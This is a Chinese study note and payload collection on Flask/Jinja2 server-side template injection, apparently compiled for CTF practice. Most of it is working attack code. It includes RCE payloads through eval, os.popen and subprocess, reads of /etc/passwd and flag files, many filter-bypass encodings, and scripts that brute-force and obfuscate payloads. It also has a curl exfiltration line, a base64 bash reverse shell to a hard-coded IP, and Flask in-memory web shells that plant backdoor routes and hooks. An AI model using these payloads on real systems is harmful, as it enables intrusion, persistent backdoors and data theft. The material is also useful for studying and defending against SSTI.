SSTI技巧及payload学习
SSTI 技巧及 payload
最近做 flask SSTI 题的时候,发现自己极为依赖以前用过的 payload,对 SSTI 原理的理解不深,因此开一个文档来整理一下相关知识点

Python SSTI
jinja2
jinja2 是 flask 的默认模板引擎
flask 文档:https://flask.palletsprojects.com/zh-cn/stable/
jinja 文档:https://jinja.palletsprojects.com/en/latest/
jinja2 文档:https://docs.jinkan.org/docs/jinja2/
jinja2 有两种分隔符: {% ... %} 和 {{ ... }} 。前者用于执行诸如 for 循环 或赋值的语句,后者把表达式的结果打印到模板上。
使用 {# ... #} 注释语法
你可以使用点( . )来访问变量的属性,作为替代,也可以使用所谓的“下标”语法( [] )
基本 SSTI 注入流程
__class__ # 返回调用的参数类型
__base__ # 以字符串返回一个类所直接继承的第一个类,一般情况下是object
__bases__ # 以元组的形式返回基类
__mro__ # 返回解析方法调用的顺序
__subclasses__() # 返回子类列表
__globals__ # 以字典的形式返回函数所在的全局命名空间所定义的全局变量
__import__ # 导入模块
__builtins__ # 内建模块的引用,在任何地方都是可见的(包括全局),这个模块包括了很多强大的内置函数,如eval, exec, fopen等
__getitem__ # 提取元素
利用魔术方法获取所有子类
{{[].__class__.__base__.__subclasses__()}}
{{"".__class__.__base__.__subclasses__()}}
{{''.__class__.__base__.__subclasses__()}}
{{().__class__.__base__[1].__subclasses__()}}
//如果object不是第一个要去访问到它
{{''.__class__.__mro__[-1].__subclasses__()}}
#因为 mro 会显示继承顺序,而所有类最终都继承自一个特殊的基类 object,所以 __mro__[-1] 总是能拿到基类
{{request.__class__.__mro__[-1]}} # 需要导入过 request 模块
{{request.__class__.__base__.__base__.__base__}}
dict.__class__.__mro__[-1]
config.__class__.__base__.__base__
config.__class__.__base__.__base__
下一步是寻找可用的子类

init 初始化类,返回的类型是 function
globals 使用方式是 函数名.__globals__获取函数所处空间下可使用的 module、方法以及所有变量。
builtins 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
import requests
# 请求的url需自定义
url = ''
for i in range(0, 500):
# post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
data = {'code': """{{().__class__.__bases__[0].__subclasses__()["""+str(i)+"""].__init__.__globals__['__builtins__']}}"""}
try:
# post传参,或根据实际情况使用get
res = requests.post(url, data=data)
if res.status_code == 200:
# 查找可利用内建函数eval的模块返回对应模块序号
if 'eval' in res.text:
print(i)
except:
pass
通过修改以上脚本及 payload 可以用于寻找别的函数
也可以直接使用模板语法
# 模板语法 _ 命令执行_eval
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}
{% endif %}
{% endfor %}
利用 eval 进行命令执行
{{().__class__.__base__.__subclasses__()[194].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
其它函数命令执行
# eval
x[NUM].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')
# os.py
x[NUM].__init__.__globals__['os'].popen('ls /').read()
# popen
x[NUM].__init__.__globals__['popen']('ls /').read()
# _frozen_importlib.BuiltinImporter
x[NUM]["load_module"]("os")["popen"]("ls /").read()
# linecache
x[NUM].__init__.__globals__['linecache']['os'].popen('ls /').read()
# subprocess.Popen
x[NUM]('ls /',shell=True,stdout=-1).communicate()[0].strip()
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
文件读取
由于 Python2 中的 File 类在 Python3 中被去掉了,所以目前也就 FileLoader ( _frozen_importlib_external.FileLoader) 算真正意义上原生的文件读取
[].__class__.__bases__[0].__subclasses__()[NUM]["get_data"](0,"/etc/passwd")
利用命令执行进行文件读取
#codecs模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('codecs').open('/app/flag').read()")
#pathlib模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('pathlib').Path('/app/flag').read_text()")
#io模块
x[NUM].__init__.__globals__['__builtins__'].eval("__import__('io').open('/app/flag').read()")
#open函数
x[NUM].__init__.__globals__['__builtins__'].eval("open('/app/flag').read()")
RCE payload 大全
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#config
'''
{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),
那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
'''
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
#全局变量
'''
flask提供了两个内置的全局函数:url_for、get_flashed_messages,两个都有__globals__键;
jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__键
g对象全称flask.g,它会保存当前的全局变量。g.pop 则是 g 对象的一个方法,
其用途是从 g 对象里移除指定键对应的值并返回该值。
其它详见https://flask.palletsprojects.com/zh-cn/stable/templating/
'''
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
#undefined类
'''
在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该
报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了**Undefined**类型,渲染结果显示为
<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的**Undefined**类型。
'''
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")
{{g|attr('pop')|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')()}}
{{g['pop']['__globals__']['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls')['read']()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /etc/passwd')|attr('read')()}}
{{g['pop']['\x5f\x5fglob'+'als\x5f\x5f']['\x5f\x5fbuil'+'tins\x5f\x5f']['\x5f\x5fimp'+'ort\x5f\x5f']('o'+'s')['po'+'pen']('ls')['read']()}}
{{g['pop']['__glob'+'als__']['__buil'+'tins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls')['read']()}}
{{request|attr('appli'+'cation')|attr('\x5f\x5fglo'+'bals\x5f\x5f')|attr('\x5f\x5fget'+'item\x5f\x5f')('\x5f\x5fbuil'+'tins\x5f\x5f')|attr('\x5f\x5fget'+'item\x5f\x5f')('\x5f\x5fimp'+'ort\x5f\x5f')('o'+'s')|attr('pop'+'en')('cat /etc/passwd')|attr('re'+'ad')()}}
#用 for 和 if 找到名为 catch_warnings 的 class 进行利用:
#[https://github.com/vulhub/vulhub/tree/master/flask/ssti](https://github.com/vulhub/vulhub/tree/master/flask/ssti)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
文件操作 payload
#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')
#python3.7
_#文件操作
__{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch__warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
过滤与绕过
过滤器
https://docs.jinkan.org/docs/jinja2/templates.html?builtin-filters#builtin-filters
https://jinja.palletsprojects.com/en/latest/templates/#builtin-filters
过滤器 |attr()
attr() 是 jinja2 的原生函数,它是一个过滤器,只查找属性,获取并返回对象的属性的值。
过滤器与变量用管道符号( | )分割,并且也 可以用圆括号传递可选参数。
如:foo|attr("bar") 和 foo["bar"] 是等价的
过滤器 ()|select|string
{% set org = ({ }|select()|string()) %}{{org}}
这样得到的结果是 <generator object select_or_reject at 0x十六进制地址值>
这里就出现了很多字符,那么就可以利用 [] 来提取出字符,例如
{% set org = ({ }|select()|string())[24] %}{{org}}
这里就获取到了下划线,以此类推我们还能获取到尖括号、空格、一些字母、数字
类似的还有如下姿势获取
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.doc|string) %}{{org}}
#还是{% set org = (app.__doc__|string) %}{{org}}
{% set point = self|float|string|min %}{{point}} # 通过float过滤器获取点 .
它们能获取很多字符,特别注意的是 {% set org = self|string|urlencode %}{{org}} 可以获取到百分号 %
获取数字还有一些姿势
{% set num = (self|int) %}{{num}} # 0, 通过int过滤器获取数字
{% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字
有了数字 0 之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{%set two = (one%2bone) %}{%set three = (zero-one-one-one)|abs %}{% set five = (two*two*two)-one-one-one %}{{five}}
特别注意加法运算的加号(+),语义冲突不能直接使用,需要 url 编码为 %2b 使用,或者使用 abs 过滤器进行取绝对值
过滤器 dict()|join
字符拼接
{% set org=dict(po=a,p=a)|join%}{{org}} # pop
获取数字
{% set num = (dict(e=a)|join|count) %}{{num}} # 1
{% set num = (dict(ee=a)|join|count) %}{{num}} # 2
利用 python 的格式化字符串
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc=bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set xhx = bfhc%(95) %}{{xhx}} # 构造下划线
过滤.(点)
利用 attr 过滤器或者[]
""['__class__']
''|attr('__class__')
使用 float 过滤器
{% set point = self|float|string|min %} # 通过float过滤器获取点 .
过滤[]
过滤了中括号的情况下,除了可以用上文说到的 attr 过滤器,还可以使用魔法方法 getattribute 来获取属性,getitem 来获取字典中的键值(列表也可以)
__subclasses__().pop(40) == __subclasses__()[40]
__subclasses__().__getitem__(40) == __subclasses__()[40]
''.__class__ == ''.__getattribute__('__class__')
url_for.__globals__['__builtins__'] == url_for.__globals__.__getitem__('__builtins__') #__globals__返回的是字典, 另外__builtins__也是
#对于返回的字典,也可以...
url_for.__globals__.get('__builtins__')_#得到某个键值,这个好用_
url_for.__globals__.setdefault('__builtins__')_#和get类似_
过滤 {{ or }}
#用{% %}控制语句
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
# 也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /') %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
# 也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()
过滤引号
使用 chr 方法
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}_
_{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
使用 request
{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag
# POST 用values /Cookie 用cookies
{{config.__class__.__init__.__globals__[request.values.os].popen(request.values.command).read()}}&os=os&command=cat+/flag
过滤下划线/关键字
这两种过滤绕过方式相仿
使用编码绕过
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]
字符串格式化绕过
''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
_#或者使用过滤器 ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]_
.getitem("%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,103,108,111,98,97,108,115,95,95)) #__globals__
.getitem("%c%c%c%c%c%c%c%c%c%c%c%c"|format(95,95,98,117,105,108,116,105,110,115,95,95)) #__builtins__
.getitem("%c%c%c%c%c"|format(112,111,112,101,110)) #popen
使用 chr 函数
#__class__
{% set chr=url_for.__globals__['__builtins__'].chr %}
#{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
使用 request
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
字符串拼接
''.__class__ = ''['__cla' + 'ss__']
_#或者使用过滤器 ('__clas','s__')|join_
#也可以不使用+
''.__class__ = ''['__cla''ss__']
#使用 ~
''.__class__ = ''['__cla'~'ss__']{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
#使用转置
''.__class__ = ''['__ssalc__'[::-1]]_#或者使用过滤器 "__ssalc__"|reverse_
#使用字符串内置方法
''.__class__ = ""['__cTass__'.replace("T","l")] =
''['X19jbGFzc19f'.decode('base64')] = #不知道为什么我这里说'str object' has no attribute 'decode' 原理上讲应该可以(后来发现好像是python3的原因)
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss")
长度限制
利用config方法
{{config.update(c=config.update)}}
{{config.update(g="__globals__")}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p("cat /f*").read()}}
也可结合set
{%set x=config.update(a=config.update)%}
{%set x=config.a(g=lipsum.__globals__)%}
{%set x=config.a(o=config.g.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("ls").read()}}
本质是利用全局dict的update方法,如果有办法拿其它dict也行
过滤config
间接调用config(结合一下关键字过滤)
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}
request 方法
request #request.__init__.__globals__['__builtins__']
request.args.x1 #get传参
{{""[request.args.x1]}}&x1=__class__
request.values.x1 #所有参数传递(GET|POST都可)
""[request.values.x1]
request.cookies #cookies参数
""[request.cookies.x1]
Cookie: x1=__class__
request.headers #请求头参数
""[request.headers.x1]
x1: __class__
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
""[request.form.x1]
POST: x1=__class__
request.data #post传参 (Content-Type:a/b)
""[request.data]
POST: __class__
request.json #post传json (Content-Type: application/json)
request.user_agent.string #ua头
""[request.user_agent.string]
User-Agent: __class__
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)
request.endpoint
来自:XYCTF2025 5orryM4k3r wp XYCTF 2025 出题人 wp LamentXU - LamentXU - 博客园
题目 Now you see me 1
https://flask.palletsprojects.com/zh-cn/stable/api/#flask.Request

注意到这个 endpoint 方法,它的作用是返回请求路由的 endpoint 也就是函数名,在这里就是 r3al_ins1de_th0ught(根据题目),在这里我们就可以得到 d a t,也就能拼出 data
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1]#delete the last '~'
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
相关 payload(改自 LamentXU 师傅的 payload)
# -*- encoding: utf-8 -*-
import re
payload = []
def generate_rce_command(cmd):
global payload
#这里贴需要转换的payload
payloadstr = "{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('setattr')(g|attr('pop')|attr('__globals__')|attr('get')('sys')|attr('modules')|attr('get')('werkzeug')|attr('serving')|attr('WSGIRequestHandler'),'server_version',g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('"+cmd+"')|attr('read')()))%}"
#匹配单引号内的任意字符,这些部分需要用request编码
required_encoding = re.findall('\'([a-z0-9_ /.>&-]+)\'', payloadstr)
#required_encoding.append('WSGIRequestHandler')其它需要编码的字符可以像这样加入
print(required_encoding)
offset_a = 16
offset_0 = 6
offset_A = 42
encoded_payloads = {}
arg_count = 0
#对字符进行替换
for i in required_encoding:
#print(i)
if i not in encoded_payloads:
p = []
for j in i:
if j == '_':
p.append('k.2')
elif j == ' ':
p.append('k.3')
elif j == '.':
p.append('k.4')
elif j == '-':
p.append('k.5')
elif j.isnumeric():
a = str(ord(j)-ord('0')+offset_0)
p.append(f'k.{a}')
elif j == '/':
p.append('k.68')
elif j == '-':
p.append('k.69')
elif j == '>':
p.append('k.70')
elif j == '&':
p.append('k.71')
elif ord(j) >= ord('a') and ord(j) <= ord('z'):
a = str(ord(j) - ord('a') + offset_a)
p.append(f'k.{a}')
elif ord(j) >= ord('A') and ord(j) <= ord('Z'):
a = str(ord(j) - ord('A') + offset_A)
p.append(f'k.{a}')
arg_name = f'a{arg_count}'#自动命名
#拼接出payload,格式为{% set<u>%0a</u>变量名<u>%0a</u>=<u>%0a</u>k.序号1~k.序号2... %}
encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
#映射对应关系{需编码字符:(变量名,对应payload)}
encoded_payloads[i] = (arg_name, encoded_arg)
arg_count+=1
payload.append(encoded_arg)
# print(encoded_payloads)
fully_encoded_payload = payloadstr
#把关键字替换为变量名
for i in encoded_payloads.keys():
if i in fully_encoded_payload:
fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
# print(fully_encoded_payload)
# 把set变量语句拼接到payload
payload.append(fully_encoded_payload)
command = "cat flag.txt"#执行命令
endpoint = "r3al_ins1de_th0ught"#对应的endpoint名
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')#取出每一个字符为i
word_data = ''
for i in 'data':
word_data += 'i.' + str(endpoint.find(i)) + '~'#获取data,用~拼接
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
#print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')#data
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')#获取request.data中的字符表
generate_rce_command(command)#生成命令
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/->&')#字符表
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!
payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)
print("output")
无回显 SSTI
静态文件写入
通过文件读写把回显写到 static 文件夹下或者其它可访问文件
{%25set+gl%3d''*2%2b'globals'%2b''*2%25}{%25set+bu%3d''*2%2b'builtins'%2b''*2%25}{%25set+im%3d''*2%2b'i''mport'%2b''*2%25}{%25set+mx%3d'so'[%3a%3a-1]%25}{{cycler.next[gl][bu]im'p''open'('ls+/>>app.py').read()}}
{%set+gl='_'*2+'globals'+'_'*2%}{%set+bu='_'*2+'builtins'+'_'*2%}{%set+im='_'*2+'i''mport'+'_'*2%}{%set+hc='so'[::-1]%}{{g.pop[gl][bu][im](hc)['p''open']('cat+/f*>>app.py').read()}}
反弹 shell
x={{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}\'').read()}}
#base64编码部分:bash -i >& /dev/tcp/123.57.23.40/1111 0>&1 这里要把ip端口换成自己的vps
#这个payload来源自网络,这个ip也不是我的hh
#利用其它rce的方法也可以
内存马
这一部分我还没研究明白,先贴着 payload 先
新版 Flask 框架下用钩子函数实现内存马的方式-先知社区
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('dir').read())")}}
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
请求头回显
SSTI 无回显处理(新回显方式) - E4telle - 博客园
Jinja2-SSTI 通过 Server 请求头带出命令回显-先知社区
http 协议
原理是控制 protocol_version
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
server 头
控制 server_version
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
也可以改 sys_version
404 污染
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}
{{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}
盲注
to be continued...
参考
ssti 详解与例题以及绕过 payload 大全-CSDN 博客
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
Python SSTI 利用 jinja 过滤器进行 Bypass
Jinja2-SSTI 通过 Server 请求头带出命令回显-先知社区
新版 Flask 框架下用钩子函数实现内存马的方式-先知社区

浙公网安备 33010602011771号